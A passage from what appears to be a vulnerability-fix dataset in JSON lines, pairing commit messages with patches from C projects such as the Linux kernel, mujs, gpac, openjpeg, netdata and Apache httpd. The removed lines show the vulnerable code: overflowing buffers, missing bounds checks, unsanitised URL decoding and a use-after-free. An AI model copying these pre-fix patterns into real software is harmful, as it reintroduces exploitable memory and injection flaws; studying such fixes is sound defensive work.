~PIPE_BUF_FLAG_GIFT;\n \t\t\tobuf->len = rem;\n", "related": false}, {"section": "@@ -2100,11 +2100,11 @@ static ssize_t fuse_dev_splice_write(struct pipe_inode_info *pipe,\n \tret = fuse_dev_do_write(fud, &cs, len);\n \n \tpipe_lock(pipe);\n+out_free:\n \tfor (idx = 0; idx < nbuf; idx++)\n \t\tpipe_buf_release(pipe, &bufs[idx]);\n \tpipe_unlock(pipe);\n \n-out:\n \tkvfree(bufs);\n \treturn ret;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/pipe.c", "commit_id": "15fab63e1e57be9fdb5eec1bbc5916e9825e9acb", "commit_message": "fs: prevent page refcount overflow in pipe_buf_get\n\nChange pipe_buf_get() to return a bool indicating whether it succeeded\nin raising the refcount of the page (if the thing in the pipe is a page).\nThis removes another mechanism for overflowing the page refcount. All\ncallers converted to handle a failure.\n\nReported-by: Jann Horn \nSigned-off-by: Matthew Wilcox \nCc: stable@kernel.org\nSigned-off-by: Linus Torvalds ", "patch": "@@ -189,9 +189,9 @@ EXPORT_SYMBOL(generic_pipe_buf_steal);\n *\tin the tee() system call, when we duplicate the buffers in one\n *\tpipe into another.\n */\n-void generic_pipe_buf_get(struct pipe_inode_info *pipe, struct pipe_buffer *buf)\n+bool generic_pipe_buf_get(struct pipe_inode_info *pipe, struct pipe_buffer *buf)\n {\n-\tget_page(buf->page);\n+\treturn try_get_page(buf->page);\n }\n EXPORT_SYMBOL(generic_pipe_buf_get);\n ", "sections": [{"section": "@@ -189,9 +189,9 @@ EXPORT_SYMBOL(generic_pipe_buf_steal);\n *\tin the tee() system call, when we duplicate the buffers in one\n *\tpipe into another.\n */\n-void generic_pipe_buf_get(struct pipe_inode_info *pipe, struct pipe_buffer *buf)\n+bool generic_pipe_buf_get(struct pipe_inode_info *pipe, struct pipe_buffer *buf)\n {\n-\tget_page(buf->page);\n+\treturn try_get_page(buf->page);\n }\n EXPORT_SYMBOL(generic_pipe_buf_get);\n ", "related": false}]} +{"owner": "ccxvii", "repo": "mujs", "language": "C", "file_name": "jsnumber.c", "commit_id": "da632ca08f240590d2dec786722ed08486ce1be6", "commit_message": "Bug 700938: Fix stack overflow in numtostr as used by Number#toFixed().\n\n32 is not enough to fit sprintf(\"%.20f\", 1e20).\nWe need at least 43 bytes to fit that format.\nBump the static buffer size.", "patch": "@@ -27,7 +27,7 @@ static void Np_valueOf(js_State *J)\n \n static void Np_toString(js_State *J)\n {\n-\tchar buf[32];\n+\tchar buf[100];\n \tjs_Object *self = js_toobject(J, 0);\n \tint radix = js_isundefined(J, 1) ? 10 : js_tointeger(J, 1);\n \tif (self->type != JS_CNUMBER)\n@@ -42,7 +42,6 @@ static void Np_toString(js_State *J)\n \t/* lame number to string conversion for any radix from 2 to 36 */\n \t{\n \t\tstatic const char digits[] = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n-\t\tchar buf[100];\n \t\tdouble number = self->u.number;\n \t\tint sign = self->u.number < 0;\n \t\tjs_Buffer *sb = NULL;\n@@ -115,7 +114,8 @@ static void Np_toString(js_State *J)\n /* Customized ToString() on a number */\n static void numtostr(js_State *J, const char *fmt, int w, double n)\n {\n-\tchar buf[32], *e;\n+\t/* buf needs to fit printf(\"%.20f\", 1e20) */\n+\tchar buf[50], *e;\n \tsprintf(buf, fmt, w, n);\n \te = strchr(buf, 'e');\n \tif (e) {", "sections": [{"section": "@@ -27,7 +27,7 @@ static void Np_valueOf(js_State *J)\n \n static void Np_toString(js_State *J)\n {\n-\tchar buf[32];\n+\tchar buf[100];\n \tjs_Object *self = js_toobject(J, 0);\n \tint radix = js_isundefined(J, 1) ? 10 : js_tointeger(J, 1);\n \tif (self->type != JS_CNUMBER)\n", "related": true}, {"section": "@@ -42,7 +42,6 @@ static void Np_toString(js_State *J)\n \t/* lame number to string conversion for any radix from 2 to 36 */\n \t{\n \t\tstatic const char digits[] = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n-\t\tchar buf[100];\n \t\tdouble number = self->u.number;\n \t\tint sign = self->u.number < 0;\n \t\tjs_Buffer *sb = NULL;\n", "related": true}, {"section": "@@ -115,7 +114,8 @@ static void Np_toString(js_State *J)\n /* Customized ToString() on a number */\n static void numtostr(js_State *J, const char *fmt, int w, double n)\n {\n-\tchar buf[32], *e;\n+\t/* buf needs to fit printf(\"%.20f\", 1e20) */\n+\tchar buf[50], *e;\n \tsprintf(buf, fmt, w, n);\n \te = strchr(buf, 'e');\n \tif (e) {", "related": true}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/utils/os_divers.c", "commit_id": "f3698bb1bce62402805c3fda96551a23101a32f9", "commit_message": "fix buffer overrun in gf_bin128_parse\n\ncloses #1204\ncloses #1205", "patch": "@@ -1988,8 +1988,14 @@ GF_Err gf_bin128_parse(const char *string, bin128 value)\n \t\t\t\tbreak;\n \t\t\tsprintf(szV, \"%c%c\", string[j], string[j+1]);\n \t\t\tsscanf(szV, \"%x\", &v);\n+\t\t\tif (i > 15) {\n+\t\t\t\t// force error check below\n+\t\t\t\ti++;\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t\tvalue[i] = v;\n \t\t\ti++;\n+\n \t\t}\n \t}\n \tif (i != 16) {", "sections": [{"section": "@@ -1988,8 +1988,14 @@ GF_Err gf_bin128_parse(const char *string, bin128 value)\n \t\t\t\tbreak;\n \t\t\tsprintf(szV, \"%c%c\", string[j], string[j+1]);\n \t\t\tsscanf(szV, \"%x\", &v);\n+\t\t\tif (i > 15) {\n+\t\t\t\t// force error check below\n+\t\t\t\ti++;\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t\tvalue[i] = v;\n \t\t\ti++;\n+\n \t\t}\n \t}\n \tif (i != 16) {", "related": true}]} +{"owner": "systemd", "repo": "systemd", "language": "C", "file_name": "src/basic/terminal-util.c", "commit_id": "9725f1a10f80f5e0ae7d9b60547458622aeb322f", "commit_message": "Merge pull request #12378 from rbalint/vt-kbd-reset-check\n\nVT kbd reset check", "patch": "@@ -1249,12 +1249,36 @@ int vt_default_utf8(void) {\n return parse_boolean(b);\n }\n \n+int vt_verify_kbmode(int fd) {\n+ int curr_mode;\n+\n+ /*\n+ * Make sure we only adjust consoles in K_XLATE or K_UNICODE mode.\n+ * Otherwise we would (likely) interfere with X11's processing of the\n+ * key events.\n+ *\n+ * http://lists.freedesktop.org/archives/systemd-devel/2013-February/008573.html\n+ */\n+\n+ if (ioctl(fd, KDGKBMODE, &curr_mode) < 0)\n+ return -errno;\n+\n+ return IN_SET(curr_mode, K_XLATE, K_UNICODE) ? 0 : -EBUSY;\n+}\n+\n int vt_reset_keyboard(int fd) {\n- int kb;\n+ int kb, r;\n \n /* If we can't read the default, then default to unicode. It's 2017 after all. */\n kb = vt_default_utf8() != 0 ? K_UNICODE : K_XLATE;\n \n+ r = vt_verify_kbmode(fd);\n+ if (r == -EBUSY) {\n+ log_debug_errno(r, \"Keyboard is not in XLATE or UNICODE mode, not resetting: %m\");\n+ return 0;\n+ } else if (r < 0)\n+ return r;\n+\n if (ioctl(fd, KDSKBMODE, kb) < 0)\n return -errno;\n ", "sections": [{"section": "@@ -1249,12 +1249,36 @@ int vt_default_utf8(void) {\n return parse_boolean(b);\n }\n \n+int vt_verify_kbmode(int fd) {\n+ int curr_mode;\n+\n+ /*\n+ * Make sure we only adjust consoles in K_XLATE or K_UNICODE mode.\n+ * Otherwise we would (likely) interfere with X11's processing of the\n+ * key events.\n+ *\n+ * http://lists.freedesktop.org/archives/systemd-devel/2013-February/008573.html\n+ */\n+\n+ if (ioctl(fd, KDGKBMODE, &curr_mode) < 0)\n+ return -errno;\n+\n+ return IN_SET(curr_mode, K_XLATE, K_UNICODE) ? 0 : -EBUSY;\n+}\n+\n int vt_reset_keyboard(int fd) {\n- int kb;\n+ int kb, r;\n \n /* If we can't read the default, then default to unicode. It's 2017 after all. */\n kb = vt_default_utf8() != 0 ? K_UNICODE : K_XLATE;\n \n+ r = vt_verify_kbmode(fd);\n+ if (r == -EBUSY) {\n+ log_debug_errno(r, \"Keyboard is not in XLATE or UNICODE mode, not resetting: %m\");\n+ return 0;\n+ } else if (r < 0)\n+ return r;\n+\n if (ioctl(fd, KDSKBMODE, kb) < 0)\n return -errno;\n ", "related": false}]} +{"owner": "miniupnp", "repo": "miniupnp", "language": "C", "file_name": "miniupnpd/upnpsoap.c", "commit_id": "86030db849260dd8fb2ed975b9890aef1b62b692", "commit_message": "fix error from commit 13585f15c7f7dc28bbbba1661efb280d530d114c", "patch": "@@ -1850,7 +1850,7 @@ GetOutboundPinholeTimeout(struct upnphttp * h, const char * action, const char *\n \trem_port = GetValueFromNameValueList(&data, \"RemotePort\");\n \tprotocol = GetValueFromNameValueList(&data, \"Protocol\");\n \n-\tif (!int_port || !ext_port || !protocol)\n+\tif (!int_port || !rem_port || !protocol)\n \t{\n \t\tClearNameValueList(&data);\n \t\tSoapError(h, 402, \"Invalid Args\");", "sections": [{"section": "@@ -1850,7 +1850,7 @@ GetOutboundPinholeTimeout(struct upnphttp * h, const char * action, const char *\n \trem_port = GetValueFromNameValueList(&data, \"RemotePort\");\n \tprotocol = GetValueFromNameValueList(&data, \"Protocol\");\n \n-\tif (!int_port || !ext_port || !protocol)\n+\tif (!int_port || !rem_port || !protocol)\n \t{\n \t\tClearNameValueList(&data);\n \t\tSoapError(h, 402, \"Invalid Args\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/char/ipmi/ipmi_si_port_io.c", "commit_id": "401e7e88d4ef80188ffa07095ac00456f901b8c4", "commit_message": "ipmi_si: fix use-after-free of resource->name\n\nWhen we excute the following commands, we got oops\nrmmod ipmi_si\ncat /proc/ioports\n\n[ 1623.482380] Unable to handle kernel paging request at virtual address ffff00000901d478\n[ 1623.482382] Mem abort info:\n[ 1623.482383] ESR = 0x96000007\n[ 1623.482385] Exception class = DABT (current EL), IL = 32 bits\n[ 1623.482386] SET = 0, FnV = 0\n[ 1623.482387] EA = 0, S1PTW = 0\n[ 1623.482388] Data abort info:\n[ 1623.482389] ISV = 0, ISS = 0x00000007\n[ 1623.482390] CM = 0, WnR = 0\n[ 1623.482393] swapper pgtable: 4k pages, 48-bit VAs, pgdp = 00000000d7d94a66\n[ 1623.482395] [ffff00000901d478] pgd=000000dffbfff003, pud=000000dffbffe003, pmd=0000003f5d06e003, pte=0000000000000000\n[ 1623.482399] Internal error: Oops: 96000007 [#1] SMP\n[ 1623.487407] Modules linked in: ipmi_si(E) nls_utf8 isofs rpcrdma ib_iser ib_srpt target_core_mod ib_srp scsi_transport_srp ib_ipoib rdma_ucm ib_umad rdma_cm ib_cm dm_mirror dm_region_hash dm_log iw_cm dm_mod aes_ce_blk crypto_simd cryptd aes_ce_cipher ses ghash_ce sha2_ce enclosure sha256_arm64 sg sha1_ce hisi_sas_v2_hw hibmc_drm sbsa_gwdt hisi_sas_main ip_tables mlx5_ib ib_uverbs marvell ib_core mlx5_core ixgbe mdio hns_dsaf ipmi_devintf hns_enet_drv ipmi_msghandler hns_mdio [last unloaded: ipmi_si]\n[ 1623.532410] CPU: 30 PID: 11438 Comm: cat Kdump: loaded Tainted: G E 5.0.0-rc3+ #168\n[ 1623.541498] Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.37 11/21/2017\n[ 1623.548822] pstate: a0000005 (NzCv daif -PAN -UAO)\n[ 1623.553684] pc : string+0x28/0x98\n[ 1623.557040] lr : vsnprintf+0x368/0x5e8\n[ 1623.560837] sp : ffff000013213a80\n[ 1623.564191] x29: ffff000013213a80 x28: ffff00001138abb5\n[ 1623.569577] x27: ffff000013213c18 x26: ffff805f67d06049\n[ 1623.574963] x25: 0000000000000000 x24: ffff00001138abb5\n[ 1623.580349] x23: 0000000000000fb7 x22: ffff0000117ed000\n[ 1623.585734] x21: ffff000011188fd8 x20: ffff805f67d07000\n[ 1623.591119] x19: ffff805f67d06061 x18: ffffffffffffffff\n[ 1623.596505] x17: 0000000000000200 x16: 0000000000000000\n[ 1623.601890] x15: ffff0000117ed748 x14: ffff805f67d07000\n[ 1623.607276] x13: ffff805f67d0605e x12: 0000000000000000\n[ 1623.612661] x11: 0000000000000000 x10: 0000000000000000\n[ 1623.618046] x9 : 0000000000000000 x8 : 000000000000000f\n[ 1623.623432] x7 : ffff805f67d06061 x6 : fffffffffffffffe\n[ 1623.628817] x5 : 0000000000000012 x4 : ffff00000901d478\n[ 1623.634203] x3 : ffff0a00ffffff04 x2 : ffff805f67d07000\n[ 1623.639588] x1 : ffff805f67d07000 x0 : ffffffffffffffff\n[ 1623.644974] Process cat (pid: 11438, stack limit = 0x000000008d4cbc10)\n[ 1623.651592] Call trace:\n[ 1623.654068] string+0x28/0x98\n[ 1623.657071] vsnprintf+0x368/0x5e8\n[ 1623.660517] seq_vprintf+0x70/0x98\n[ 1623.668009] seq_printf+0x7c/0xa0\n[ 1623.675530] r_show+0xc8/0xf8\n[ 1623.682558] seq_read+0x330/0x440\n[ 1623.689877] proc_reg_read+0x78/0xd0\n[ 1623.697346] __vfs_read+0x60/0x1a0\n[ 1623.704564] vfs_read+0x94/0x150\n[ 1623.711339] ksys_read+0x6c/0xd8\n[ 1623.717939] __arm64_sys_read+0x24/0x30\n[ 1623.725077] el0_svc_common+0x120/0x148\n[ 1623.732035] el0_svc_handler+0x30/0x40\n[ 1623.738757] el0_svc+0x8/0xc\n[ 1623.744520] Code: d1000406 aa0103e2 54000149 b4000080 (39400085)\n[ 1623.753441] ---[ end trace f91b6a4937de9835 ]---\n[ 1623.760871] Kernel panic - not syncing: Fatal exception\n[ 1623.768935] SMP: stopping secondary CPUs\n[ 1623.775718] Kernel Offset: disabled\n[ 1623.781998] CPU features: 0x002,21006008\n[ 1623.788777] Memory Limit: none\n[ 1623.798329] Starting crashdump kernel...\n[ 1623.805202] Bye!\n\nIf io_setup is called successful in try_smi_init() but try_smi_init()\ngoes out_err before calling ipmi_register_smi(), so ipmi_unregister_smi()\nwill not be called while removing module. It leads to the resource that\nallocated in io_setup() can not be freed, but the name(DEVICE_NAME) of\nresource is freed while removing the module. It causes use-after-free\nwhen cat /proc/ioports.\n\nFix this by calling io_cleanup() while try_smi_init() goes to out_err.\nand don't call io_cleanup() until io_setup() returns successful to avoid\nwarning prints.\n\nFixes: 93c303d2045b (\"ipmi_si: Clean up shutdown a bit\")\nCc: stable@vger.kernel.org\nReported-by: NuoHan Qiao \nSuggested-by: Corey Minyard \nSigned-off-by: Yang Yingliang \nSigned-off-by: Corey Minyard ", "patch": "@@ -68,8 +68,6 @@ int ipmi_si_port_setup(struct si_sm_io *io)\n \tif (!addr)\n \t\treturn -ENODEV;\n \n-\tio->io_cleanup = port_cleanup;\n-\n \t/*\n \t * Figure out the actual inb/inw/inl/etc routine to use based\n \t * upon the register size.\n@@ -109,5 +107,8 @@ int ipmi_si_port_setup(struct si_sm_io *io)\n \t\t\treturn -EIO;\n \t\t}\n \t}\n+\n+\tio->io_cleanup = port_cleanup;\n+\n \treturn 0;\n }", "sections": [{"section": "@@ -68,8 +68,6 @@ int ipmi_si_port_setup(struct si_sm_io *io)\n \tif (!addr)\n \t\treturn -ENODEV;\n \n-\tio->io_cleanup = port_cleanup;\n-\n \t/*\n \t * Figure out the actual inb/inw/inl/etc routine to use based\n \t * upon the register size.\n", "related": false}, {"section": "@@ -109,5 +107,8 @@ int ipmi_si_port_setup(struct si_sm_io *io)\n \t\t\treturn -EIO;\n \t\t}\n \t}\n+\n+\tio->io_cleanup = port_cleanup;\n+\n \treturn 0;\n }", "related": false}]} +{"owner": "uclouvain", "repo": "openjpeg", "language": "C", "file_name": "src/lib/openjp2/tcd.c", "commit_id": "5d00b719f4b93b1445e6fb4c766b9a9883c57949", "commit_message": "[trunk] fixed a buffer overflow in opj_tcd_init_decode_tile\n\nUpdate issue 431", "patch": "@@ -701,10 +701,11 @@ static INLINE OPJ_BOOL opj_tcd_init_tile(opj_tcd_t *p_tcd, OPJ_UINT32 p_tile_no,\n \t/*fprintf(stderr, \"Tile coordinate = %d,%d\\n\", p, q);*/\n \t\n \t/* 4 borders of the tile rescale on the image if necessary */\n-\tl_tile->x0 = opj_int_max((OPJ_INT32)(l_cp->tx0 + p * l_cp->tdx), (OPJ_INT32)l_image->x0);\n-\tl_tile->y0 = opj_int_max((OPJ_INT32)(l_cp->ty0 + q * l_cp->tdy), (OPJ_INT32)l_image->y0);\n-\tl_tile->x1 = opj_int_min((OPJ_INT32)(l_cp->tx0 + (p + 1) * l_cp->tdx), (OPJ_INT32)l_image->x1);\n-\tl_tile->y1 = opj_int_min((OPJ_INT32)(l_cp->ty0 + (q + 1) * l_cp->tdy), (OPJ_INT32)l_image->y1);\n+\tl_tile->x0 = (OPJ_INT32)opj_uint_max(l_cp->tx0 + p * l_cp->tdx, l_image->x0);\n+\tl_tile->y0 = (OPJ_INT32)opj_uint_max(l_cp->ty0 + q * l_cp->tdy, l_image->y0);\n+\tl_tile->x1 = (OPJ_INT32)opj_uint_min(l_cp->tx0 + (p + 1) * l_cp->tdx, l_image->x1);\n+\tl_tile->y1 = (OPJ_INT32)opj_uint_min(l_cp->ty0 + (q + 1) * l_cp->tdy, l_image->y1);\n+\n \t/* testcase 1888.pdf.asan.35.988 */\n \tif (l_tccp->numresolutions == 0) {\n \t\tfprintf(stderr, \"tiles require at least one resolution\\n\");", "sections": [{"section": "@@ -701,10 +701,11 @@ static INLINE OPJ_BOOL opj_tcd_init_tile(opj_tcd_t *p_tcd, OPJ_UINT32 p_tile_no,\n \t/*fprintf(stderr, \"Tile coordinate = %d,%d\\n\", p, q);*/\n \t\n \t/* 4 borders of the tile rescale on the image if necessary */\n-\tl_tile->x0 = opj_int_max((OPJ_INT32)(l_cp->tx0 + p * l_cp->tdx), (OPJ_INT32)l_image->x0);\n-\tl_tile->y0 = opj_int_max((OPJ_INT32)(l_cp->ty0 + q * l_cp->tdy), (OPJ_INT32)l_image->y0);\n-\tl_tile->x1 = opj_int_min((OPJ_INT32)(l_cp->tx0 + (p + 1) * l_cp->tdx), (OPJ_INT32)l_image->x1);\n-\tl_tile->y1 = opj_int_min((OPJ_INT32)(l_cp->ty0 + (q + 1) * l_cp->tdy), (OPJ_INT32)l_image->y1);\n+\tl_tile->x0 = (OPJ_INT32)opj_uint_max(l_cp->tx0 + p * l_cp->tdx, l_image->x0);\n+\tl_tile->y0 = (OPJ_INT32)opj_uint_max(l_cp->ty0 + q * l_cp->tdy, l_image->y0);\n+\tl_tile->x1 = (OPJ_INT32)opj_uint_min(l_cp->tx0 + (p + 1) * l_cp->tdx, l_image->x1);\n+\tl_tile->y1 = (OPJ_INT32)opj_uint_min(l_cp->ty0 + (q + 1) * l_cp->tdy, l_image->y1);\n+\n \t/* testcase 1888.pdf.asan.35.988 */\n \tif (l_tccp->numresolutions == 0) {\n \t\tfprintf(stderr, \"tiles require at least one resolution\\n\");", "related": false}]} +{"owner": "netdata", "repo": "netdata", "language": "C", "file_name": "libnetdata/url/url.c", "commit_id": "92327c9ec211bd1616315abcb255861b130b97ca", "commit_message": "fixed vulnerabilities identified by red4sec.com (#4521)", "patch": "@@ -60,7 +60,9 @@ char *url_decode_r(char *to, char *url, size_t size) {\n while(*s && d < e) {\n if(unlikely(*s == '%')) {\n if(likely(s[1] && s[2])) {\n- *d++ = from_hex(s[1]) << 4 | from_hex(s[2]);\n+ char t = from_hex(s[1]) << 4 | from_hex(s[2]);\n+ // avoid HTTP header injection\n+ *d++ = (char)((isprint(t))? t : ' ');\n s += 2;\n }\n }", "sections": [{"section": "@@ -60,7 +60,9 @@ char *url_decode_r(char *to, char *url, size_t size) {\n while(*s && d < e) {\n if(unlikely(*s == '%')) {\n if(likely(s[1] && s[2])) {\n- *d++ = from_hex(s[1]) << 4 | from_hex(s[2]);\n+ char t = from_hex(s[1]) << 4 | from_hex(s[2]);\n+ // avoid HTTP header injection\n+ *d++ = (char)((isprint(t))? t : ' ');\n s += 2;\n }\n }", "related": false}]} +{"owner": "apache", "repo": "httpd", "language": "C", "file_name": "modules/http2/h2_config.h", "commit_id": "a721d5cc9ebed4cb3679a935f4eb2cb167a78527", "commit_message": " *) mod_http2: Configuration directoves H2Push and H2Upgrade can now be specified per \n Location/Directory, e.g. disabling PUSH for a specific set of resources. [Stefan Eissing]\n\n *) mod_http2: HEAD requests to some module such as mod_cgid caused the stream to\n terminate improperly and cause a HTTP/2 PROTOCOL_ERROR. \n Fixes . [Michael Kaufmann]\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1852339 13f79535-47bb-0310-9956-ffa450edef68", "patch": "@@ -53,33 +53,6 @@ typedef struct h2_push_res {\n int critical;\n } h2_push_res;\n \n-/* Apache httpd module configuration for h2. */\n-typedef struct h2_config {\n- const char *name;\n- int h2_max_streams; /* max concurrent # streams (http2) */\n- int h2_window_size; /* stream window size (http2) */\n- int min_workers; /* min # of worker threads/child */\n- int max_workers; /* max # of worker threads/child */\n- int max_worker_idle_secs; /* max # of idle seconds for worker */\n- int stream_max_mem_size; /* max # bytes held in memory/stream */\n- apr_array_header_t *alt_svcs; /* h2_alt_svc specs for this server */\n- int alt_svc_max_age; /* seconds clients can rely on alt-svc info*/\n- int serialize_headers; /* Use serialized HTTP/1.1 headers for \n- processing, better compatibility */\n- int h2_direct; /* if mod_h2 is active directly */\n- int modern_tls_only; /* Accept only modern TLS in HTTP/2 connections */ \n- int h2_upgrade; /* Allow HTTP/1 upgrade to h2/h2c */\n- apr_int64_t tls_warmup_size; /* Amount of TLS data to send before going full write size */\n- int tls_cooldown_secs; /* Seconds of idle time before going back to small TLS records */\n- int h2_push; /* if HTTP/2 server push is enabled */\n- struct apr_hash_t *priorities;/* map of content-type to h2_priority records */\n- \n- int push_diary_size; /* # of entries in push diary */\n- int copy_files; /* if files shall be copied vs setaside on output */\n- apr_array_header_t *push_list;/* list of h2_push_res configurations */\n- int early_hints; /* support status code 103 */\n-} h2_config;\n-\n \n void *h2_config_create_dir(apr_pool_t *pool, char *x);\n void *h2_config_merge_dir(apr_pool_t *pool, void *basev, void *addv);\n@@ -88,19 +61,37 @@ void *h2_config_merge_svr(apr_pool_t *pool, void *basev, void *addv);\n \n extern const command_rec h2_cmds[];\n \n-const h2_config *h2_config_get(conn_rec *c);\n-const h2_config *h2_config_sget(server_rec *s);\n-const h2_config *h2_config_rget(request_rec *r);\n+int h2_config_geti(request_rec *r, server_rec *s, h2_config_var_t var);\n+apr_int64_t h2_config_geti64(request_rec *r, server_rec *s, h2_config_var_t var);\n \n-int h2_config_geti(const h2_config *conf, h2_config_var_t var);\n-apr_int64_t h2_config_geti64(const h2_config *conf, h2_config_var_t var);\n+/** \n+ * Get the configured value for variable at the given connection.\n+ */\n+int h2_config_cgeti(conn_rec *c, h2_config_var_t var);\n+apr_int64_t h2_config_cgeti64(conn_rec *c, h2_config_var_t var);\n \n-void h2_get_num_workers(server_rec *s, int *minw, int *maxw);\n+/** \n+ * Get the configured value for variable at the given server.\n+ */\n+int h2_config_sgeti(server_rec *s, h2_config_var_t var);\n+apr_int64_t h2_config_sgeti64(server_rec *s, h2_config_var_t var);\n \n+/** \n+ * Get the configured value for variable at the given request,\n+ * if configured for the request location. \n+ * Fallback to request server config otherwise.\n+ */\n+int h2_config_rgeti(request_rec *r, h2_config_var_t var);\n+apr_int64_t h2_config_rgeti64(request_rec *r, h2_config_var_t var);\n+\n+apr_array_header_t *h2_config_push_list(request_rec *r);\n+apr_array_header_t *h2_config_alt_svcs(request_rec *r);\n+\n+\n+void h2_get_num_workers(server_rec *s, int *minw, int *maxw);\n void h2_config_init(apr_pool_t *pool);\n \n-const struct h2_priority *h2_config_get_priority(const h2_config *conf, \n- const char *content_type);\n+const struct h2_priority *h2_cconfig_get_priority(conn_rec *c, const char *content_type);\n \n #endif /* __mod_h2__h2_config_h__ */\n ", "sections": [{"section": "@@ -53,33 +53,6 @@ typedef struct h2_push_res {\n int critical;\n } h2_push_res;\n \n-/* Apache httpd module configuration for h2. */\n-typedef struct h2_config {\n- const char *name;\n- int h2_max_streams; /* max concurrent # streams (http2) */\n- int h2_window_size; /* stream window size (http2) */\n- int min_workers; /* min # of worker threads/child */\n- int max_workers; /* max # of worker threads/child */\n- int max_worker_idle_secs; /* max # of idle seconds for worker */\n- int stream_max_mem_size; /* max # bytes held in memory/stream */\n- apr_array_header_t *alt_svcs; /* h2_alt_svc specs for this server */\n- int alt_svc_max_age; /* seconds clients can rely on alt-svc info*/\n- int serialize_headers; /* Use serialized HTTP/1.1 headers for \n- processing, better compatibility */\n- int h2_direct; /* if mod_h2 is active directly */\n- int modern_tls_only; /* Accept only modern TLS in HTTP/2 connections */ \n- int h2_upgrade; /* Allow HTTP/1 upgrade to h2/h2c */\n- apr_int64_t tls_warmup_size; /* Amount of TLS data to send before going full write size */\n- int tls_cooldown_secs; /* Seconds of idle time before going back to small TLS records */\n- int h2_push; /* if HTTP/2 server push is enabled */\n- struct apr_hash_t *priorities;/* map of content-type to h2_priority records */\n- \n- int push_diary_size; /* # of entries in push diary */\n- int copy_files; /* if files shall be copied vs setaside on output */\n- apr_array_header_t *push_list;/* list of h2_push_res configurations */\n- int early_hints; /* support status code 103 */\n-} h2_config;\n-\n \n void *h2_config_create_dir(apr_pool_t *pool, char *x);\n void *h2_config_merge_dir(apr_pool_t *pool, void *basev, void *addv);\n", "related": false}, {"section": "@@ -88,19 +61,37 @@ void *h2_config_merge_svr(apr_pool_t *pool, void *basev, void *addv);\n \n extern const command_rec h2_cmds[];\n \n-const h2_config *h2_config_get(conn_rec *c);\n-const h2_config *h2_config_sget(server_rec *s);\n-const h2_config *h2_config_rget(request_rec *r);\n+int h2_config_geti(request_rec *r, server_rec *s, h2_config_var_t var);\n+apr_int64_t h2_config_geti64(request_rec *r, server_rec *s, h2_config_var_t var);\n \n-int h2_config_geti(const h2_config *conf, h2_config_var_t var);\n-apr_int64_t h2_config_geti64(const h2_config *conf, h2_config_var_t var);\n+/** \n+ * Get the configured value for variable at the given connection.\n+ */\n+int h2_config_cgeti(conn_rec *c, h2_config_var_t var);\n+apr_int64_t h2_config_cgeti64(conn_rec *c, h2_config_var_t var);\n \n-void h2_get_num_workers(server_rec *s, int *minw, int *maxw);\n+/** \n+ * Get the configured value for variable at the given server.\n+ */\n+int h2_config_sgeti(server_rec *s, h2_config_var_t var);\n+apr_int64_t h2_config_sgeti64(server_rec *s, h2_config_var_t var);\n \n+/** \n+ * Get the configured value for variable at the given request,\n+ * if configured for the request location. \n+ * Fallback to request server config otherwise.\n+ */\n+int h2_config_rgeti(request_rec *r, h2_config_var_t var);\n+apr_int64_t h2_config_rgeti64(request_rec *r, h2_config_var_t var);\n+\n+apr_array_header_t *h2_config_push_list(request_rec *r);\n+apr_array_header_t *h2_config_alt_svcs(request_rec *r);\n+\n+\n+void h2_get_num_workers(server_rec *s, int *minw, int *maxw);\n void h2_config_init(apr_pool_t *pool);\n \n-const struct h2_priority *h2_config_get_priority(const h2_config *conf, \n- const char *content_type);\n+const struct h2_priority *h2_cconfig_get_priority(conn_rec *c, const char *content_type);\n \n #endif /* __mod_h2__h2_config_h__ */\n ", "related": false}]} +{"owner": "apache", "repo": "httpd", "language": "C", "file_name": "modules/http2/h2_h2.h", "commit_id": "a721d5cc9ebed4cb3679a935f4eb2cb167a78527", "commit_message": " *) mod_http2: Configuration directoves H2Push and H2Upgrade can now be specified per \n Location/Directory, e.g. disabling PUSH for a specific set of resources. [Stefan Eissing]\n\n *) mod_http2: HEAD requests to some module such as mod_cgid caused the stream to\n terminate improperly and cause a HTTP/2 PROTOCOL_ERROR. \n Fixes . [Michael Kaufmann]\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1852339 13f79535-47bb-0310-9956-ffa450edef68", "patch": "@@ -57,23 +57,15 @@ void h2_h2_register_hooks(void);\n * the handshake is still ongoing.\n * @return != 0 iff connection requirements are met\n */\n-int h2_is_acceptable_connection(conn_rec *c, int require_all);\n-\n-/**\n- * Check if the \"direct\" HTTP/2 mode of protocol handling is enabled\n- * for the given connection.\n- * @param c the connection to check\n- * @return != 0 iff direct mode is enabled\n- */\n-int h2_allows_h2_direct(conn_rec *c);\n+int h2_is_acceptable_connection(conn_rec *c, request_rec *r, int require_all);\n \n /**\n * Check if the \"Upgrade\" HTTP/1.1 mode of protocol switching is enabled\n- * for the given connection.\n- * @param c the connection to check\n+ * for the given request.\n+ * @param r the request to check\n * @return != 0 iff Upgrade switching is enabled\n */\n-int h2_allows_h2_upgrade(conn_rec *c);\n+int h2_allows_h2_upgrade(request_rec *r);\n \n \n #endif /* defined(__mod_h2__h2_h2__) */", "sections": [{"section": "@@ -57,23 +57,15 @@ void h2_h2_register_hooks(void);\n * the handshake is still ongoing.\n * @return != 0 iff connection requirements are met\n */\n-int h2_is_acceptable_connection(conn_rec *c, int require_all);\n-\n-/**\n- * Check if the \"direct\" HTTP/2 mode of protocol handling is enabled\n- * for the given connection.\n- * @param c the connection to check\n- * @return != 0 iff direct mode is enabled\n- */\n-int h2_allows_h2_direct(conn_rec *c);\n+int h2_is_acceptable_connection(conn_rec *c, request_rec *r, int require_all);\n \n /**\n * Check if the \"Upgrade\" HTTP/1.1 mode of protocol switching is enabled\n- * for the given connection.\n- * @param c the connection to check\n+ * for the given request.\n+ * @param r the request to check\n * @return != 0 iff Upgrade switching is enabled\n */\n-int h2_allows_h2_upgrade(conn_rec *c);\n+int h2_allows_h2_upgrade(request_rec *r);\n \n \n #endif /* defined(__mod_h2__h2_h2__) */", "related": false}]} +{"owner": "apache", "repo": "httpd", "language": "C", "file_name": "modules/http2/h2_task.c", 